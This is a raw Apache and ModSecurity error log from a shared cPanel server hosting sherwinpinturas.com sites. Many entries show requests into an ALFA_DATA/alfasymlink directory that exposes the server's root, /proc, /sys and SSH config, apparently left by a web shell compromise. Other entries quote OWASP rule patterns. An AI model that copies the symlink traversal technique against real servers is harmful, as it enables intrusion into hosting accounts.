[Tue Oct 27 10:53:33.308748 2026] [security2:error] [pid 3246019:tid 3246019] [client 107.172.76.131:60004] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC64iuRyqQjBmRbW2sOAQAAAAw"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 10:53:33.308793 2026] [security2:error] [pid 3246019:tid 3246019] [client 107.172.76.131:60004] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC64iuRyqQjBmRbW2sOAQAAAAw"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 10:53:35.506444 2026] [ssl:error] [pid 3252638:tid 3252638] (70014)End of file found: [client 100.29.155.89:49590] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:54:03.514953 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 50.16.248.61:7642] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:54:07.224897 2026] [ssl:error] [pid 3249203:tid 3249203] (70014)End of file found: [client 44.223.232.55:32771] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:54:19.185245 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 107.20.224.184:29137] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:54:23.068809 2026] [ssl:error] [pid 3249203:tid 3249203] (70014)End of file found: [client 54.204.12.115:39052] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:54:31.784809 2026] [security2:error] [pid 3245698:tid 3245698] [client 107.172.76.131:60118] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC7GxXBYmBHrjfyUDsNMwAAAAU"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 10:54:31.784866 2026] [security2:error] [pid 3245698:tid 3245698] [client 107.172.76.131:60118] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC7GxXBYmBHrjfyUDsNMwAAAAU"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 10:54:38.366592 2026] [security2:error] [pid 3240911:tid 3240911] [client 43.135.145.117:45338] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "162.216.113.238"] [uri "/"] [unique_id "auC7LgY08XOpcUzVxFxUNAAAABM"]
[Tue Oct 27 10:54:50.881081 2026] [ssl:error] [pid 3249203:tid 3249203] (70014)End of file found: [client 98.83.226.125:34119] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:55:06.817675 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 54.167.32.123:31661] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:55:18.718996 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 52.203.237.170:50322] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:55:26.822990 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 52.22.64.232:59198] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:55:35.668842 2026] [ssl:error] [pid 3246081:tid 3246081] (70014)End of file found: [client 185.191.171.4:50944] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:55:38.571771 2026] [core:error] [pid 3245441:tid 3245441] (13)Permission denied: [client 54.144.185.255:24689] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXCPU:01/physical_node/node0/cpu0/driver/cpu1/crash_notes_size
[Tue Oct 27 10:55:42.433075 2026] [ssl:error] [pid 3245436:tid 3245436] (70014)End of file found: [client 54.157.99.244:49028] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:55:58.523889 2026] [core:error] [pid 3245441:tid 3245441] (13)Permission denied: [client 23.21.225.190:14834] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/resource0_wc
[Tue Oct 27 10:56:02.462666 2026] [ssl:error] [pid 3245436:tid 3245436] (70014)End of file found: [client 3.213.85.234:59810] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:56:06.241320 2026] [ssl:error] [pid 3249203:tid 3249203] (70014)End of file found: [client 3.226.106.93:15460] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:56:11.730426 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 34.238.45.183:6321] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:56:18.422066 2026] [ssl:error] [pid 3246081:tid 3246081] (70014)End of file found: [client 52.45.77.169:29521] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:56:26.209141 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 34.205.170.13:20571] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:56:34.186254 2026] [ssl:error] [pid 3252021:tid 3252021] (70014)End of file found: [client 3.218.103.254:40435] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:56:41.215580 2026] [security2:error] [pid 3245437:tid 3245437] [client 107.172.76.131:60072] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC7nmgdpW92b4rNnH0A8gAAAAg"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 10:56:41.215671 2026] [security2:error] [pid 3245437:tid 3245437] [client 107.172.76.131:60072] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC7nmgdpW92b4rNnH0A8gAAAAg"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 10:56:54.177481 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 3.221.156.96:28974] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:57:18.184935 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 54.159.18.27:41379] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:57:22.210024 2026] [ssl:error] [pid 3250159:tid 3250159] (70014)End of file found: [client 52.71.218.25:43102] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:57:26.173094 2026] [ssl:error] [pid 3245437:tid 3245437] (70014)End of file found: [client 3.94.199.128:42251] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:57:46.194862 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 52.205.141.124:61397] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:57:50.241125 2026] [ssl:error] [pid 3252021:tid 3252021] (70014)End of file found: [client 23.21.119.232:40363] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:58:06.328295 2026] [ssl:error] [pid 3248370:tid 3248370] (70014)End of file found: [client 34.205.170.13:53814] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:58:14.163311 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 34.234.197.175:22308] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:58:14.689675 2026] [authz_core:error] [pid 3238477:tid 3238477] [client 205.169.39.57:5377] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 10:58:18.157672 2026] [ssl:error] [pid 3250259:tid 3250259] (70014)End of file found: [client 44.195.145.102:26711] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:58:22.359609 2026] [core:error] [pid 3243694:tid 3243694] (13)Permission denied: [client 44.221.180.179:52872] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory22/node0/memory10/node0/cpu1/firmware_node/physical_node/firmware_node/subsystem/drivers/battery/uevent
[Tue Oct 27 10:58:26.221688 2026] [core:error] [pid 3248370:tid 3248370] (13)Permission denied: [client 52.203.152.231:25558] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1c/subsystem/devices/PNP0A03:00/device:12/eject
[Tue Oct 27 10:58:30.279334 2026] [ssl:error] [pid 3252021:tid 3252021] (70014)End of file found: [client 54.83.180.239:48245] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:58:34.269834 2026] [ssl:error] [pid 3246081:tid 3246081] (70014)End of file found: [client 3.213.85.234:18552] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:58:38.179240 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 35.169.240.53:21931] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:58:42.171169 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 52.204.37.237:51640] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:58:50.178039 2026] [ssl:error] [pid 3250159:tid 3250159] (70014)End of file found: [client 44.221.37.41:33328] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:58:58.347387 2026] [core:error] [pid 3238311:tid 3238311] (13)Permission denied: [client 52.205.222.214:15901] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:03.0/resource4
[Tue Oct 27 10:59:06.228346 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 184.72.95.195:49959] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:59:10.408151 2026] [security2:error] [pid 3238311:tid 3238311] [client 52.22.64.232:28269] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:12/"] [unique_id "auC8PsYLThtfGXx9TuqzGQAAAAc"]
[Tue Oct 27 10:59:10.408217 2026] [security2:error] [pid 3238311:tid 3238311] [client 52.22.64.232:28269] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:12/"] [unique_id "auC8PsYLThtfGXx9TuqzGQAAAAc"]
[Tue Oct 27 10:59:14.182116 2026] [ssl:error] [pid 3245441:tid 3245441] (70014)End of file found: [client 52.3.104.214:23364] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:59:18.184903 2026] [ssl:error] [pid 3250159:tid 3250159] (70014)End of file found: [client 18.204.152.114:47235] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:59:19.658496 2026] [core:error] [pid 3243694:tid 3243694] (13)Permission denied: [client 85.208.96.202:49804] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-16/objects
[Tue Oct 27 10:59:22.249157 2026] [ssl:error] [pid 3238311:tid 3238311] (5)Input/output error: [client 3.235.215.92:61421] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:59:34.357281 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 52.73.142.41:12250] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:59:34.357487 2026] [security2:error] [pid 3238313:tid 3238313] [client 52.73.142.41:12250] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory11/subsystem/devices/memory16/node0/memory6/phys_device"] [unique_id "auC8VlIPfNLWYzT54QrxeAAAAAk"]
[Tue Oct 27 10:59:34.357509 2026] [security2:error] [pid 3238313:tid 3238313] [client 52.73.142.41:12250] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory11/subsystem/devices/memory16/node0/memory6/phys_device"] [unique_id "auC8VlIPfNLWYzT54QrxeAAAAAk"]
[Tue Oct 27 10:59:42.170174 2026] [ssl:error] [pid 3250159:tid 3250159] (70014)End of file found: [client 54.144.185.255:8014] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:00:02.163826 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.239.197.197:33579] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory19/subsystem/devices/memory11/subsystem/"] [unique_id "auC8cuDGYG7bZ6qVgjrpEAAAABA"]
[Tue Oct 27 11:00:02.163881 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.239.197.197:33579] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory19/subsystem/devices/memory11/subsystem/"] [unique_id "auC8cuDGYG7bZ6qVgjrpEAAAABA"]
[Tue Oct 27 11:00:14.182662 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 52.44.229.124:58669] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:00:18.307023 2026] [ssl:error] [pid 3246019:tid 3246019] (70014)End of file found: [client 100.29.107.38:18363] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:00:23.412379 2026] [ssl:error] [pid 3245437:tid 3245437] (70014)End of file found: [client 185.191.171.14:56730] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:00:26.162516 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 54.145.82.217:5686] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:00:27.015743 2026] [core:crit] [pid 3245441:tid 3245441] (13)Permission denied: [client 216.244.66.250:33440] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/19/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/19/fd/' is executable
[Tue Oct 27 11:00:27.015819 2026] [core:crit] [pid 3245441:tid 3245441] (13)Permission denied: [client 216.244.66.250:33440] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/19/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/19/map_files/' is executable
[Tue Oct 27 11:00:27.015851 2026] [core:crit] [pid 3245441:tid 3245441] (13)Permission denied: [client 216.244.66.250:33440] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/19/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/19/fdinfo/' is executable
[Tue Oct 27 11:00:32.099841 2026] [core:crit] [pid 3253913:tid 3253913] (13)Permission denied: [client 216.244.66.250:35252] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/db/sudo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/db/sudo/' is executable
[Tue Oct 27 11:00:32.352161 2026] [ssl:error] [pid 3245441:tid 3245441] (5)Input/output error: [client 98.82.214.73:48318] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:00:34.324023 2026] [core:error] [pid 3246019:tid 3246019] (13)Permission denied: [client 52.204.81.148:63447] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/LNXCPU:00/physical_node/subsystem/uevent
[Tue Oct 27 11:00:38.180814 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 34.234.197.175:39233] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:00:46.184808 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 35.171.117.160:8473] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:00:54.260973 2026] [ssl:error] [pid 3238477:tid 3238477] (5)Input/output error: [client 18.208.11.93:22298] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:01:18.390271 2026] [ssl:error] [pid 3245436:tid 3245436] (70014)End of file found: [client 54.204.12.115:43596] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:01:38.389862 2026] [ssl:error] [pid 3246081:tid 3246081] (70014)End of file found: [client 3.223.181.32:36841] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:01:42.162012 2026] [ssl:error] [pid 3245436:tid 3245436] (70014)End of file found: [client 52.207.47.227:55004] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:01:46.162493 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 18.235.81.246:32965] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:01:52.237612 2026] [authz_core:error] [pid 3240911:tid 3240911] [client 34.236.123.207:26418] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 11:01:54.162584 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 100.29.128.75:41424] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:01:58.141802 2026] [ssl:error] [pid 3245436:tid 3245436] (70014)End of file found: [client 3.230.69.161:1082] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:02:02.225090 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 54.197.178.107:58960] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:02:10.303049 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 44.208.193.63:55153] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:02:25.824966 2026] [security2:error] [pid 3245441:tid 3245441] [client 16.216.88.132:24576] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/ssh/ssh_config.d/05-redhat.conf"] [unique_id "auC9AeDGYG7bZ6qVgjrpFgAAABA"]
[Tue Oct 27 11:02:25.825415 2026] [security2:error] [pid 3245441:tid 3245441] [client 16.216.88.132:24576] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/ssh/ssh_config.d/05-redhat.conf"] [unique_id "auC9AeDGYG7bZ6qVgjrpFgAAABA"]
[Tue Oct 27 11:02:25.825848 2026] [security2:error] [pid 3245441:tid 3245441] [client 16.216.88.132:24576] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/ssh/ssh_config.d/05-redhat.conf"] [unique_id "auC9AeDGYG7bZ6qVgjrpFgAAABA"]
[Tue Oct 27 11:02:30.150142 2026] [ssl:error] [pid 3249989:tid 3249989] (70014)End of file found: [client 34.202.88.37:34771] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:02:34.145409 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 34.225.24.180:37011] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:02:34.145639 2026] [security2:error] [pid 3238315:tid 3238315] [client 34.225.24.180:37011] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory0/subsystem/devices/memory16/phys_device"] [unique_id "auC9CnRXwUv1lMzx7uqwmgAAAA0"]
[Tue Oct 27 11:02:34.145667 2026] [security2:error] [pid 3238315:tid 3238315] [client 34.225.24.180:37011] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory0/subsystem/devices/memory16/phys_device"] [unique_id "auC9CnRXwUv1lMzx7uqwmgAAAA0"]
[Tue Oct 27 11:02:38.231945 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 34.203.111.15:21345] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:02:42.145897 2026] [ssl:error] [pid 3253972:tid 3253972] (70014)End of file found: [client 3.221.156.96:3258] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:02:50.278077 2026] [security2:error] [pid 3249203:tid 3249203] [client 98.83.226.125:41392] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/bus/cpu/devices/cpu0/driver/cpu1/firmware_node/"] [unique_id "auC9Gp-xvDszZCVXAa4VRwAAAA8"]
[Tue Oct 27 11:02:50.278147 2026] [security2:error] [pid 3249203:tid 3249203] [client 98.83.226.125:41392] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/bus/cpu/devices/cpu0/driver/cpu1/firmware_node/"] [unique_id "auC9Gp-xvDszZCVXAa4VRwAAAA8"]
[Tue Oct 27 11:02:54.149915 2026] [ssl:error] [pid 3238315:tid 3238315] (5)Input/output error: [client 54.90.8.255:42734] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:03:02.157861 2026] [ssl:error] [pid 3249203:tid 3249203] (70014)End of file found: [client 44.218.6.93:50518] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:03:06.148207 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 52.71.216.196:12482] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:03:18.180728 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 54.84.93.8:25400] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:03:19.412545 2026] [core:error] [pid 3245436:tid 3245436] (13)Permission denied: [client 85.208.96.211:58430] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_node/sanity_checks
[Tue Oct 27 11:03:22.210792 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 44.206.93.215:58147] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:03:26.153379 2026] [ssl:error] [pid 3249203:tid 3249203] (70014)End of file found: [client 44.215.235.20:29752] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:03:42.160372 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 54.157.84.74:37571] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:03:46.229532 2026] [ssl:error] [pid 3249203:tid 3249203] (70014)End of file found: [client 3.222.190.107:32048] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:03:50.156264 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 54.197.114.76:34404] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:03:55.024846 2026] [core:error] [pid 3254132:tid 3254132] (13)Permission denied: [client 185.191.171.14:51360] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/cpu_partial
[Tue Oct 27 11:03:58.547740 2026] [ssl:error] [pid 3245441:tid 3245441] (70014)End of file found: [client 3.94.40.182:35409] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:04:02.156879 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 52.45.77.169:6204] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:04:06.193924 2026] [ssl:error] [pid 3254132:tid 3254132] (70014)End of file found: [client 23.21.250.48:47965] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:04:14.158781 2026] [ssl:error] [pid 3249989:tid 3249989] (70014)End of file found: [client 35.169.102.85:19372] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:04:22.168319 2026] [core:error] [pid 3238315:tid 3238315] (13)Permission denied: [client 23.21.175.228:8191] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/memory5/subsystem/devices/memory8/node0/cpu1/crash_notes
[Tue Oct 27 11:04:26.250042 2026] [core:error] [pid 3240715:tid 3240715] (13)Permission denied: [client 35.174.141.243:33006] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/remove_id
[Tue Oct 27 11:04:34.154131 2026] [core:error] [pid 3240911:tid 3240911] (13)Permission denied: [client 34.225.138.57:53107] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event3/subsystem/input3/subsystem/input1/event1/device/device/driver/bind
[Tue Oct 27 11:04:38.230248 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 54.83.240.58:25752] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:04:46.206215 2026] [core:error] [pid 3253959:tid 3253959] (13)Permission denied: [client 54.88.84.219:5397] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/driver/0000:00:03.0/resource1
